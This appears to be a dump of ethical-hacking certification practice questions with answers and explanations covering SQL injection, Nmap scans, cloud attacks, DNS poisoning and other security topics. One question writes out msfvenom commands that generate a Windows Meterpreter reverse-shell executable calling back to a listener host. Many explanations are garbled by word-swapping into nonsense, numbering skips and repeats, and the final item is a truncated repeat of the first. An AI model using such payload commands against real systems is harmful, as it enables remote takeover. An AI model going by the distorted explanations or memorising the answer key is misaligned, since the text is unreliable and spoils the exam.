NEW QUESTION 1
SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may Bypass authentication and allow attackers to access and/or modify data
attached to a web application. Which of the following SQLI types leverages a database server's ability to make DNS requests to pass data to an attacker?
A. Union-based SQLI
B. Out-of-band SQLI
C. ln-band SQLI
D. Time-based blind SQLI
Answer: B
Explanation:
Out-of-band SQL injection occurs when an attacker is unable to use an equivalent channel to launch the attack and gather results. … Out-of-band SQLi techniques
would believe the database server’s ability to form DNS or HTTP requests to deliver data to an attacker. Out-of-band SQL injection is not very common, mostly
because it depends on features being enabled on the database server being used by the web application. Out-of-band SQL injection occurs when an attacker is
unable to use the same channel to launch the attack and gather results.
Out-of-band techniques, offer an attacker an alternative to inferential time-based techniques, especially if the server responses are not very stable (making an
inferential time-based attack unreliable).
Out-of-band SQLi techniques would rely on the database server’s ability to make DNS or HTTPrequests to deliver data to an attacker. Such is the case with
Microsoft SQLServer’s xp_dirtree command, which can be used to make DNS requests to a server an attackercontrols; as well as Oracle Database’s UTL_HTTP
package, which can be used to send HTTP requestsfrom SQL and PL/SQL to a server an attacker controls.
NEW QUESTION 2
Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target
network. Which of the following host discovery techniques must he use to perform the given task?
A. UDP scan
B. TCP Maimon scan
C. arp ping scan
D. ACK flag probe scan
Answer: C
Explanation:
One of the most common Nmap usage scenarios is scanning an Ethernet LAN. Most LANs, especially those that use the private address range granted by RFC
1918, do not always use the overwhelming majority of IP addresses. When Nmap attempts to send a raw IP packet, such as an ICMP echo request, the OS must
determine a destination hardware (ARP) address, such as the target IP, so that the Ethernet frame can be properly addressed. .. This is required to issue a series
of ARP requests.
This is best illustrated by an example where a ping scan is attempted against an Area Ethernet host.
The –send-ip option tells Nmap to send IP-level packets (rather than raw Ethernet), even on area networks. The Wireshark output of the three ARP requests and
their timing have been pasted into the session. Raw IP ping scan example for offline targets
This example took quite a couple of seconds to finish because the (Linux) OS sent three ARP requests at 1 second intervals before abandoning the host. Waiting
for a few seconds is excessive, as long as the ARP response usually arrives within a few milliseconds. Reducing this timeout period is not a priority for OS
vendors, as the overwhelming majority of packets are sent to the host that actually exists. Nmap, on the other hand, needs to send packets to 16 million IP s given
a target like 10.0.0.0/8. Many targets are pinged in parallel, but waiting 2 seconds each is very delayed.
There is another problem with raw IP ping scans on the LAN. If the destination host turns out to be unresponsive, as in the previous example, the source host
usually adds an incomplete entry for that destination IP to the kernel ARP table. ARP tablespaces are finite and some operating systems become unresponsive
when full. If Nmap is used in rawIP mode (–send-ip), Nmap may have to wait a few minutes for the ARP cache entry to expire before continuing host discovery.
ARP scans solve both problems by giving Nmap the highest priority. Nmap issues raw ARP requests and handles retransmissions and timeout periods in its sole
discretion. The system ARP cache is bypassed. The example shows the difference. This ARP scan takes just over a tenth of the time it takes for an equivalent IP.
Example b ARP ping scan of offline target
In example b, neither the -PR option nor the -send-eth option has any effect. This is often because ARP has a default scan type on the Area Ethernet network
when scanning Ethernet hosts that Nmap discovers. This includes traditional wired Ethernet as 802.11 wireless networks. As mentioned above, ARP scanning is
not only more efficient, but also more accurate. Hosts frequently block IP-based ping packets, but usually cannot block ARP requests or responses and
communicate over the network.Nmap uses ARP instead of all targets on equivalent targets, even if different ping types (such as -PE and -PS) are specified. LAN..
If you do not need to attempt an ARP scan at all, specify – send-ip as shown in Example a “Raw IP Ping Scan for Offline Targets”.
If you give Nmap control to send raw Ethernet frames, Nmap can also adjust the source MAC address. If you have the only PowerBook in your security conference
room and a large ARP scan is initiated from an Apple-registered MAC address, your head may turn to you. Use the –spoof-mac option to spoof the MAC address
as described in the MAC Address Spoofing section.
NEW QUESTION 3
Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the targets MSP provider by sending spear-phishing emails and distributed
custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her
MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization.
Which of the following cloud attacks did Alice perform in the above scenario?
A. Cloud hopper attack
B. Cloud cryptojacking
C. Cloudborne attack
D. Man-in-the-cloud (MITC) attack
Answer: A
Explanation:
Operation Cloud Hopper was an in depth attack and theft of data in 2017 directed at MSP within the uk (U.K.), us (U.S.), Japan, Canada, Brazil, France,
Switzerland, Norway, Finland, Sweden, South Africa , India, Thailand, South Korea and Australia. The group used MSP as intermediaries to accumulate assets
and trade secrets from MSP client engineering, MSP industrial manufacturing, retail, energy, pharmaceuticals, telecommunications, and government agencies.
Operation Cloud Hopper used over 70 variants of backdoors, malware and trojans. These were delivered through spear-phishing emails. The attacks scheduled
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tasks or leveraged services/utilities to continue Microsoft Windows systems albeit the pc system was rebooted. It installed malware and hacking tools to access
systems and steal data.
NEW QUESTION 4
joe works as an it administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached
out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider, in the NIST cloud
deployment reference architecture, under which category does the telecom company fall in the above scenario?
A. Cloud booker
B. Cloud consumer
C. Cloud carrier
D. Cloud auditor
Answer: C
Explanation:
A cloud carrier acts as an intermediary that provides connectivity and transport of cloud services between cloud consumers and cloud providers.
Cloud carriers provide access to consumers through network, telecommunication and other access devices. for instance, cloud consumers will obtain cloud
services through network access devices, like computers, laptops, mobile phones, mobile web devices (MIDs), etc.
The distribution of cloud services is often provided by network and telecommunication carriers or a transport agent, wherever a transport agent refers to a business
organization that provides physical transport of storage media like high- capacity hard drives.
Note that a cloud provider can started SLAs with a cloud carrier to provide services consistent with the level of SLAs offered to cloud consumers, and will require
the cloud carrier to provide dedicated and secure connections between cloud consumers and cloud providers.
NEW QUESTION 5
Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that
can process API requests and handle various Docker objects, such as containers, volumes. Images, and networks. What is the component of the Docker
architecture used by Annie in the above scenario?
A. Docker client
B. Docker objects
C. Docker daemon
D. Docker registries
Answer: C
Explanation:
Docker uses a client-server design. The docker client talks to the docker daemon, that will the work of building, running, and distributing your docker containers.
The docker client and daemon will run on the same system, otherwise you will connect a docker consumer to a remote docker daemon. The docker consumer and
daemon communicate using a REST API, over OS sockets or a network interface.
The docker daemon (dockerd) listens for docker API requests and manages docker objects like pictures, containers, networks, and volumes. A daemon may
communicate with other daemons to manage docker services.
NEW QUESTION 6
Steven connected his iPhone to a public computer that had been infected by Clark, an attacker. After establishing the connection with the public computer, Steven
enabled iTunes WI-FI sync on the computer so that the device could continue communication with that computer even after being physically disconnected. Now,
Clark gains access to Steven’s iPhone through the infected computer and is able to monitor and read all of Steven’s activity on the iPhone, even after the device
is out of the communication zone.
Which of the following attacks is performed by Clark in above scenario?
A. IOS trustjacking
B. lOS Jailbreaking
C. Exploiting SS7 vulnerability
D. Man-in-the-disk attack
Answer: A
Explanation:
An iPhone client’s most noticeably terrible bad dream is to have somebody oversee his/her gadget, including the capacity to record and control all action without
waiting be in a similar room. In this blog entry, we present another weakness called “Trustjacking”, which permits an aggressor to do precisely that.
This weakness misuses an iOS highlight called iTunes Wi-Fi sync, which permits a client to deal with their iOS gadget without genuinely interfacing it to their PC. A
solitary tap by the iOS gadget proprietor when the two are associated with a similar organization permits an assailant to oversee the gadget. Furthermore, we will
stroll through past related weaknesses and show the progressions that iPhone has made to alleviate them, and why these are adequately not to forestall
comparative assaults.
After interfacing an iOS gadget to another PC, the clients are being found out if they trust the associated PC or not. Deciding to believe the PC permits it to speak
with the iOS gadget by means of the standard iTunes APIs.
This permits the PC to get to the photographs on the gadget, perform reinforcement, introduce applications and considerably more, without requiring another
affirmation from the client and with no recognizable sign. Besides, this permits enacting the “iTunes Wi-Fi sync” highlight, which makes it conceivable to proceed
with this sort of correspondence with the gadget even after it has been detached from the PC, as long as the PC and the iOS gadget are associated with a similar
organization. It is intriguing to take note of that empowering “iTunes Wi-Fi sync” doesn’t need the casualty’s endorsement and can be directed simply from the
PC side.
Getting a live stream of the gadget’s screen should be possible effectively by consistently requesting screen captures and showing or recording them distantly.
It is imperative to take note of that other than the underlying single purpose of disappointment, approving the vindictive PC, there is no other component that
forestalls this proceeded with access. Likewise, there isn’t anything that informs the clients that by approving the PC they permit admittance to their gadget even in
the wake of detaching the USB link.
NEW QUESTION 7
what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?
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A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
B. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
Answer: C
Explanation:
https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom Often one of the most useful (and to the beginner underrated) abilities of Metasploit is
the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of
these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options
(LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP
address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.
Example for Windows:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
NEW QUESTION 8
which of the following information security controls creates an appealing isolated environment for hackers to prevent them from compromising critical targets while
simultaneously gathering information about the hacker?
A. intrusion detection system
B. Honeypot
C. BotnetD Firewall
Answer: B
Explanation:
A honeypot may be a trap that an IT pro lays for a malicious hacker, hoping that they will interact with it during a way that gives useful intelligence. It’s one among
the oldest security measures in IT, but beware: luring hackers onto your network, even on an isolated system, are often a dangerous game. honeypot may be a
good starting place: “A honeypot may be a computer or computing system intended to mimic likely targets of cyberattacks.” Often a honeypot are going to be
deliberately configured with known vulnerabilities in situation to form a more tempting or obvious target for attackers. A honeypot won’t contain production data or
participate in legitimate traffic on your network — that’s how you’ll tell anything happening within it’s a results of an attack. If someone’s stopping by, they’re up to
no good.
That definition covers a various array of systems, from bare-bones virtual machines that only offer a couple of vulnerable systems to ornately constructed fake
networks spanning multiple servers. and therefore the goals of these who build honeypots can vary widely also , starting from defense thorough to academic
research. additionally , there’s now an entire marketing category of deception technology that, while not meeting the strict definition of a honeypot, is certainly
within the same family. But we’ll get thereto during a moment. honeypots aim to permit close analysis of how hackers do their dirty work. The team controlling the
honeypot can watch the techniques hackers use to infiltrate systems, escalate privileges, and otherwise run amok through target networks. These sorts of
honeypots are found out by security companies, academics, and government agencies looking to look at the threat landscape. Their creators could also be curious
about learning what kind of attacks are out there, getting details on how specific sorts of attacks work, or maybe trying to lure a specific hackers within the hopes of
tracing the attack back to its source. These systems are often inbuilt fully isolated lab environments, which ensures that any breaches don’t end in non-honeypot
machines falling prey to attacks.
Production honeypots, on the opposite hand, are usually deployed in proximity to some organization’s production infrastructure, though measures are taken to
isolate it the maximum amount as possible. These honeypots often serve both as bait to distract hackers who could also be trying to interrupt into that
organization’s network, keeping them faraway from valuable data or services; they will also function a canary within the coalpit , indicating that attacks are
underway and are a minimum of partially succeeding.
NEW QUESTION 9
Consider the following Nmap output:
what command-line parameter could you use to determine the type and version number of the web server?
A. -sv
B. -Pn
C. -V
D. -ss
Answer: A
Explanation:
C:\Users\moi>nmap -h | findstr " -sV" -sV: Probe open ports to determine service/version info
NEW QUESTION 10
what are common files on a web server that can be misconfigured and provide useful Information for a hacker such as verbose error messages?
A. httpd.conf
B. administration.config
C. idq.dll
D. php.ini
Answer: D
Explanation:
The php.ini file may be a special file for PHP. it’s where you declare changes to your PHP settings. The server is already configured with standard settings for
PHP, which your site will use by default.
Unless you would like to vary one or more settings, there’s no got to create or modify a php.ini file. If you’d wish to make any changes to settings, please do so
through the MultiPHP INI Editor.
NEW QUESTION 10
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You are a penetration tester working to test the user awareness of the employees of the client xyz.
You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the
cyber kill chain are you at?
A. Reconnaissance
B. Command and control
C. Weaponization
D. Exploitation
Answer: C
Explanation:
Weaponization
The adversary analyzes the data collected in the previous stage to identify the vulnerabilities and techniques that can exploit and gain unauthorized access to the
target organization. Based on the vulnerabilities identified during analysis, the adversary selects or creates a tailored deliverable malicious payload (remote-access
malware weapon) using an exploit and a backdoor to send it to the victim. An adversary may target specific network devices, operating systems, endpoint devices,
or even individuals within the organization to carry out their attack. For example, the adversary may send a phishing email to an employee of the target
organization, which may include a malicious attachment such as a virus or worm that, when downloaded, installs a backdoor on the system that allows remote
access to the adversary. The following are the activities of the adversary: o Identifying appropriate malware payload based on the analysis o Creating a new
malware payload or selecting, reusing, modifying the available malware payloads based on the identified vulnerability o Creating a phishing email campaign o
Leveraging exploit kits and botnets https://en.wikipedia.org/wiki/Kill_chain The Cyber Kill Chain consists of 7 steps: Reconnaissance, weaponization, delivery,
exploitation, installation, command and control, and finally, actions on objectives. Below you can find detailed information on each.
* 1. Reconnaissance: In this step, the attacker/intruder chooses their target. Then they conduct indepth research on this target to identify its vulnerabilities that can
be exploited.
* 2. Weaponization: In this step, the intruder creates a malware weapon like a virus, worm, or such to exploit the target's vulnerabilities. Depending on the target
and the purpose of the attacker, this malware can exploit new, undetected vulnerabilities (also known as the zero-day exploits) or focus on a combination of
different vulnerabilities.
* 3. Delivery: This step involves transmitting the weapon to the target. The intruder/attacker can employ different USB drives, e-mail attachments, and websites for
this purpose.
* 4. Exploitation: In this step, the malware starts the action. The program code of the malware is triggered to exploit the target’s vulnerability/vulnerabilities.
* 5. Installation: In this step, the malware installs an access point for the intruder/attacker. This access point is also known as the backdoor.
* 6. Command and Control: The malware gives the intruder/attacker access to the network/system.
* 7. Actions on Objective: Once the attacker/intruder gains persistent access, they finally take action to fulfill their purposes, such as encryption for ransom, data
exfiltration, or even data destruction.
NEW QUESTION 12
John, a disgruntled ex-employee of an organization, contacted a professional hacker to exploit the organization. In the attack process, the professional hacker
Installed a scanner on a machine belonging to one of the vktims and scanned several machines on the same network to Identify vulnerabilities to perform further
exploitation. What is the type of vulnerability assessment tool employed by John in the above scenario?
A. Proxy scanner
B. Agent-based scanner
C. Network-based scanner
D. Cluster scanner
Answer: C
Explanation:
Network-based scanner
A network-based vulnerability scanner, in simplistic terms, is the process of identifying loopholes on a computer’s network or IT assets, which hackers and threat
actors can exploit. By implementing this process, one can successfully identify their organization’s current risk(s). This is not where the buck stops; one can also
verify the effectiveness of your system's security measures while improving internal and external defenses. Through this review, an organization is well equipped to
take an extensive inventory of all systems, including operating systems, installed software, security patches, hardware, firewalls, anti-virus software, and much
more.
Agent-based scanner
Agent-based scanners make use of software scanners on each and every device; the results of the scans are reported back to the central server. Such scanners
are well equipped to find and report out on a range of vulnerabilities. NOTE: This option is not suitable for us, since for it to work, you need to install a special agent
on each computer before you start collecting data from them.
NEW QUESTION 13
There are multiple cloud deployment options depending on how isolated a customer's resources are from those of other customers. Shared environments share
the costs and allow each customer to enjoy lower operations expenses. One solution Is for a customer to Join with a group of users or organizations to share a
cloud environment. What is this cloud deployment option called?
A. Hybrid
B. Community
C. Public
D. Private
Answer: B
Explanation:
The purpose of this idea is to permit multiple customers to figure on joint projects and applications that belong to the community, where it’s necessary to possess
a centralized clouds infrastructure. In other words, Community Cloud may be a distributed infrastructure that solves the precise problems with business sectors by
integrating the services provided by differing types of clouds solutions.
The communities involved in these projects, like tenders, business organizations, and research companies, specialise in similar issues in their cloud interactions.
Their shared interests may include concepts and policies associated with security and compliance considerations, and therefore the goals of the project also .
Community Cloud computing facilitates its users to spot and analyze their business demands better.
Community Clouds could also be hosted during a data center, owned by one among the tenants, or by a third-party cloud services provider and may be either onsite
or off-site. Community Cloud Examples and Use Cases
Cloud providers have developed Community Cloud offerings, and a few organizations are already seeing the advantages . the subsequent list shows a number of
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the most scenarios of the Community Cloud model that’s beneficial to the participating organizations.
Multiple governmental departments that perform transactions with each other can have their processing systems on shared infrastructure. This setup makes it costeffective
to the tenants, and may also reduce their data traffic. Benefits of Community Clouds
Community Cloud provides benefits to organizations within the community, individually also as collectively. Organizations don’t need to worry about the safety
concerns linked with Public Cloud due to the closed user group. This recent cloud computing model has great potential for businesses seeking cost-effective cloud
services to collaborate on joint projects, because it comes with multiple advantages.
Openness and Impartiality
Community Clouds are open systems, and that they remove the dependency organizations wear cloud service providers. Organizations are able to do many
benefits while avoiding the disadvantages of both public and personal clouds. Flexibility and Scalability
Ensures compatibility among each of its users, allowing them to switch properties consistent with their individual use cases. They also enable companies to
interact with their remote employees and support the utilization of various devices, be it a smartphone or a tablet. This makes this sort of cloud solution more
flexible to users’ demands.
Consists of a community of users and, as such, is scalable in several aspects like hardware resources, services, and manpower. It takes under consideration
demand growth, and you simply need to increase the user-base. High Availability and Reliability
Your cloud service must be ready to make sure the availability of knowledge and applications in the least times. Community Clouds secure your data within the
same way as the other cloud service, by replicating data and applications in multiple secure locations to guard them from unforeseen circumstances.
Cloud possesses redundant infrastructure to form sure data is out there whenever and wherever you would like it. High availability and reliability are critical
concerns for any sort of cloud solution. Security and Compliance
Two significant concerns discussed when organizations believe cloud computing are data security and compliance with relevant regulatory authorities.
Compromising each other’s data security isn’t profitable to anyone during a Community Cloud.
Users can configure various levels of security for his or her data. Common use cases: the power to dam users from editing and downloading specific datasets.
Making sensitive data subject to strict regulations on who has access to Sharing sensitive data unique to a specific organization would bring harm to all or any the
members involved.
What devices can store sensitive data. Convenience and Control
Conflicts associated with convenience and control don’t arise during a Community Cloud. Democracy may be a crucial factor the Community Cloud offers as all
tenants share and own the infrastructure and make decisions collaboratively. This setup allows organizations to possess their data closer to them while avoiding
the complexities of a personal Cloud.
Less Work for the IT Department
Having data, applications, and systems within the cloud means you are doing not need to manage them entirely. This convenience eliminates the necessity for
tenants to use extra human resources to manage the system. Even during a self-managed solution, the work is split among the participating organizations.
Environment Sustainability
In the Community Cloud, organizations use one platform for all their needs, which dissuades them from investing in separate cloud facilities. This shift introduces a
symbiotic relationship between broadening and shrinking the utilization of cloud among clients. With the reduction of organizations using different clouds,
resources are used more efficiently, thus resulting in a smaller carbon footprint.
NEW QUESTION 18
Bob was recently hired by a medical company after it experienced a major cyber security breach.
Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search.
Bob's boss is very worried because of regulations that protect those dat a. Which of the following regulations is mostly violated?
A. HIPPA/PHl
B. Pll
C. PCIDSS
D. ISO 2002
Answer: A
Explanation:
PHI stands for Protected Health info. The HIPAA Privacy Rule provides federal protections for private health info held by lined entities and provides patients an
array of rights with regard to that info. under HIPAA phi is considered to be any identifiable health info that’s used, maintained, stored, or transmitted by a HIPAAcovered
entity – a healthcare provider, health plan or health insurer, or a aid clearinghouse – or a business associate of a HIPAA-covered entity, in relation to the
availability of aid or payment for aid services.
It is not only past and current medical info that’s considered letter under HIPAA Rules, however also future info concerning medical conditions or physical and
mental health related to the provision of care or payment for care. phi is health info in any kind, together with physical records, electronic records, or spoken info.
Therefore, letter includes health records, medical histories, lab check results, and medical bills. basically, all health info is considered letter once it includes
individual identifiers. Demographic info is additionally thought of phi underneath HIPAA Rules, as square measure several common identifiers like patient names,
Social Security numbers, Driver’s license numbers, insurance details, and birth dates, once they square measure connected with health info.
The eighteen identifiers that create health info letter are: Names
Dates, except year phonephone numbers Geographic information FAX numbers
Social Security numbers Email addresses
case history numbers Account numbers
Health arrange beneficiary numbers Certificate/license numbers
Vehicle identifiers and serial numbers together with license plates Web URLs
Device identifiers and serial numbers net protocol addresses
Full face photos and comparable pictures Biometric identifiers (i.e. retinal scan, fingerprints) Any distinctive identifying variety or code
One or a lot of of those identifiers turns health info into letter, and phi HIPAA Privacy Rule restrictions can then apply that limit uses and disclosures of the data.
HIPAA lined entities and their business associates will ought to guarantee applicable technical, physical, and body safeguards are enforced to make sure the
confidentiality, integrity, and availability of phi as stipulated within the HIPAA
Security Rule.
NEW QUESTION 19
Which file is a rich target to discover the structure of a website during web-server footprinting?
A. Document root
B. Robots.txt
C. domain.txt
D. index.html
Answer: B
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NEW QUESTION 20
Attacker Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve
performed DNS cache poisoning by exploiting the vulnerabilities In the DNS server software and modified the original IP address of the target website to that of a
fake website. What is the technique employed by Steve to gather information for identity theft?
A. Pretexting
B. Pharming
C. Wardriving
D. Skimming
Answer: B
Explanation:
A pharming attacker tries to send a web site’s traffic to a faux website controlled by the offender, typically for the aim of collection sensitive data from victims or
putting in malware on their machines. Attacker tend to specialize in making look-alike ecommerce and digital banking websites to reap credentials and payment
card data.
Though they share similar goals, pharming uses a special technique from phishing. “Pharming attacker are targeted on manipulating a system, instead of tricking
people into reaching to a dangerous web site,” explains David Emm, principal security man of science at Kaspersky. “When either a phishing or pharming attacker
is completed by a criminal, they need a similar driving issue to induce victims onto a corrupt location, however the mechanisms during which this is often
undertaken are completely different.”
NEW QUESTION 21
what firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?
A. Decoy scanning
B. Packet fragmentation scanning
C. Spoof source address scanning
D. Idle scanning
Answer: D
Explanation:
The idle scan could be a communications protocol port scan technique that consists of causing spoofed packets to a pc to seek out out what services square
measure obtainable. this can be accomplished by impersonating another pc whose network traffic is extremely slow or nonexistent (that is, not transmission or
receiving information). this might be associate idle pc, known as a “zombie”.
This action are often done through common code network utilities like nmap and hping. The attack involves causing solid packets to a particular machine target in
an attempt to seek out distinct characteristics of another zombie machine. The attack is refined as a result of there’s no interaction between the offender pc and
also the target: the offender interacts solely with the “zombie” pc.
This exploit functions with 2 functions, as a port scanner and a clerk of sure informatics relationships between machines. The target system interacts with the
“zombie” pc and distinction in behavior are often discovered mistreatment totally different|completely different “zombies” with proof of various privileges granted
by the target to different computers.
The overall intention behind the idle scan is to “check the port standing whereas remaining utterly invisible to the targeted host.” The first step in execution
associate idle scan is to seek out associate applicable zombie. It must assign informatics ID packets incrementally on a worldwide (rather than per-host it
communicates with) basis. It ought to be idle (hence the scan name), as extraneous traffic can raise its informatics ID sequence, confusing the scan logic. The
lower the latency between the offender and also the zombie, and between the zombie and also the target, the quicker the scan can proceed.
Note that once a port is open, IPIDs increment by a pair of. Following is that the sequence: offender to focus on -> SYN, target to zombie ->SYN/ACK, Zombie to
focus on -> RST (IPID increment by 1) currently offender tries to probe zombie for result. offender to Zombie ->SYN/ACK, Zombie to offender -> RST (IPID
increment by 1) So, during this method IPID increments by a pair of finally.
When associate idle scan is tried, tools (for example nmap) tests the projected zombie and reports any issues with it. If one does not work, attempt another.
Enough net hosts square measure vulnerable that zombie candidates are not exhausting to seek out. a standard approach is to easily execute a ping sweep of
some network. selecting a network close to your supply address, or close to the target, produces higher results. you’ll be able to attempt associate idle scan
mistreatment every obtainable host from the ping sweep results till you discover one that works. As usual, it’s best to raise permission before mistreatment
someone’s machines for surprising functions like idle scanning.
Simple network devices typically create nice zombies as a result of {they square measure|they’re} normally each underused (idle) and designed with
straightforward network stacks that are susceptible to informatics ID traffic detection. While distinguishing an acceptable zombie takes some initial work, you’ll be
able to keep re-using the nice ones. as an alternative, there are some analysis on utilizing unplanned public internet services as zombie hosts to perform similar
idle scans. leverage the approach a number of these services perform departing connections upon user submissions will function some quite poor’s man idle
scanning.
NEW QUESTION 26
What is the first step for a hacker conducting a DNS cache poisoning (DNS spoofing) attack against an organization?
A. The attacker queries a nameserver using the DNS resolver.
B. The attacker makes a request to the DNS resolver.
C. The attacker forges a reply from the DNS resolver.
D. The attacker uses TCP to poison the ONS resofver.
Answer: B
Explanation:
ru.wikipedia.org
DNS spoofing is a threat that copies the legitimate server destinations to divert the domain's traffic.
Ignorant these attacks, the users are redirected to malicious websites, which results in insensitive and personal data being leaked. It is a method of attack where
your DNS server is tricked into saving a fake DNS entry. This will make the DNS server recall a fake site for you, thereby posing a threat to vital information stored
on your server or computer.
The cache poisoning codes are often found in URLs sent through spam emails. These emails are sent to prompt users to click on the URL, which infects their
computer. When the computer is poisoned, it will divert you to a fake IP address that looks like a real thing. This way, the threats are injected into your systems as
well.
Different Stages of Attack of DNS Cache Poisoning:
- The attacker proceeds to send DNS queries to the DNS resolver, which forwards the Root/TLD authoritative DNS server request and awaits an answer.
- The attacker overloads the DNS with poisoned responses that contain several IP addresses of the malicious website. To be accepted by the DNS resolver, the
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attacker's response should match a port number and the query ID field before the DNS response. Also, the attackers can force its response to increasing their
chance of success.
- If you are a legitimate user who queries this DNS resolver, you will get a poisoned response from the cache, and you will be automatically redirected to the
malicious website.
NEW QUESTION 29
in an attempt to increase the security of your network, you Implement a solution that will help keep your wireless network undiscoverable and accessible only to
those that know It. How do you accomplish this?
A. Delete the wireless network
B. Remove all passwords
C. Lock all users
D. Disable SSID broadcasting
Answer: D
Explanation:
The SSID (service set identifier) is the name of your wireless network. SSID broadcast is how your router transmits this name to surrounding devices. Its primary
function is to make your network visible and easily accessible. Most routers broadcast their SSIDs automatically. To disable or enable SSID broadcast, you need to
change your router’s settings.
Disabling SSID broadcast will make your Wi-FI network name invisible to other users. However, this only hides the name, not the network itself. You cannot
disguise the router's activity, so hackers can still attack it.
With your network invisible to wireless devices, connecting becomes a bit more complicated. Just giving a Wi-FI password to your guests is no longer enough.
They have to configure their settings manually by including the network name, security mode, and other relevant info.
Disabling SSID might be a small step towards online security, but by no means should it be your final one. Before considering it as a security measure, consider
the following aspects:
- Disabling SSID broadcast will not hide your network completely
Disabling SSID broadcast only hides the network name, not the fact that it exists. Your router constantly transmits so-called beacon frames to announce the
presence of a wireless network. They contain essential information about the network and help the device connect.
- Third-party software can easily trace a hidden network
Programs such as NetStumbler or Kismet can easily locate hidden networks. You can try using them yourself to see how easy it is to find available networks –
hidden or not.
- You might attract unwanted attention.
Disabling your SSID broadcast could also raise suspicion. Most of us assume that when somebody hides something, they have a reason to do so. Thus, some
hackers might be attracted to your network.
NEW QUESTION 33
what is the port to block first in case you are suspicious that an loT device has been compromised?
A. 22
B. 443
C. 48101
D. 80
Answer: C
Explanation:
TCP port 48101 uses the Transmission management Protocol. transmission control protocol is one in all the most protocols in TCP/IP networks. transmission
control protocol could be a connectionoriented protocol, it needs acknowledgement to line up end-to-end communications. only a association is about up user’s
knowledge may be sent bi-directionally over the association.
Attention! transmission control protocol guarantees delivery of knowledge packets on port 48101 within the same order during which they were sent. bonded
communication over transmission control protocol port 48101 is that the main distinction between transmission control protocol and UDP. UDP port 48101
wouldn’t have bonded communication as transmission control protocol.
UDP on port 48101 provides Associate in Nursing unreliable service and datagrams might arrive duplicated, out of order, or missing unexpectedly. UDP on port
48101 thinks that error checking and correction isn’t necessary or performed within the application, avoiding the overhead of such process at the network interface
level.
UDP (User Datagram Protocol) could be a borderline message-oriented Transport Layer protocol (protocol is documented in IETF RFC 768).
Application examples that always use UDP: vocalisation IP (VoIP), streaming media and period multiplayer games. several internet applications use UDP, e.g. the
name System (DNS), the Routing info Protocol (RIP), the Dynamic Host Configuration Protocol (DHCP), the straightforward Network Management Protocol
(SNMP).
NEW QUESTION 35
Morris, a professional hacker, performed a vulnerability scan on a target organization by sniffing the traffic on the network lo identify the active systems, network
services, applications, and vulnerabilities. He also obtained the list of the users who are currently accessing the network. What is the type of vulnerability
assessment that Morris performed on the target organization?
A. internal assessment
B. Passive assessment
C. External assessment
D. Credentialed assessment
Answer: B
Explanation:
Passive Assessment Passive assessments sniff the traffic present on the network to identify the active systems, network services, applications, and vulnerabilities.
Passive assessments also provide a list of the users who are currently accessing the network.
NEW QUESTION 38
Larry, a security professional in an organization, has noticed some abnormalities In the user accounts on a web server. To thwart evolving attacks, he decided to
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harden the security of the web server by adopting a countermeasures to secure the accounts on the web server.
Which of the following countermeasures must Larry implement to secure the user accounts on the web server?
A. Enable unused default user accounts created during the installation of an OS
B. Enable all non-interactive accounts that should exist but do not require interactive login
C. Limit the administrator or toot-level access to the minimum number of users
D. Retain all unused modules and application extensions
Answer: C
NEW QUESTION 39
Bella, a security professional working at an it firm, finds that a security breach has occurred while transferring important files. Sensitive data, employee usernames.
and passwords are shared In plaintext, paving the way for hackers 10 perform successful session hijacking. To address this situation. Bella Implemented a
protocol that sends data using encryption and digital certificates.
Which of the following protocols Is used by Bella?
A. FTP
B. HTTPS
C. FTPS
D. IP
Answer: C
Explanation:
The File Transfer Protocol (FTP) is a standard organization convention utilized for the exchange of PC records from a worker to a customer on a PC organization.
FTP is based on a customer worker model engineering utilizing separate control and information associations between the customer and the server.[1] FTP clients
may validate themselves with an unmistakable book sign-in convention, ordinarily as a username and secret key, however can interface namelessly if the worker is
designed to permit it. For secure transmission that ensures the username and secret phrase, and scrambles the substance, FTP is frequently made sure about
with SSL/TLS (FTPS) or supplanted with SSH File Transfer Protocol (SFTP).
The primary FTP customer applications were order line programs created prior to working frameworks had graphical UIs, are as yet dispatched with most
Windows, Unix, and Linux working systems.[2][3] Many FTP customers and mechanization utilities have since been created for working areas, workers, cell
phones, and equipment, and FTP has been fused into profitability applications, for example, HTML editors.
NEW QUESTION 44
which of the following Bluetooth hacking techniques refers to the theft of information from a wireless device through Bluetooth?
A. Bluesmacking
B. Bluebugging
C. Bluejacking
D. Bluesnarfing
Answer: D
Explanation:
Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and
PDAs (personal digital assistant).
SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may Bypass authentication and allow attackers to access and/or modify data
attached to a web application. Which of the following SQLI types leverages a database server's ability to make DNS requests to pass data to an attacker?
A. Union-based SQLI
B. Out-of-band SQLI
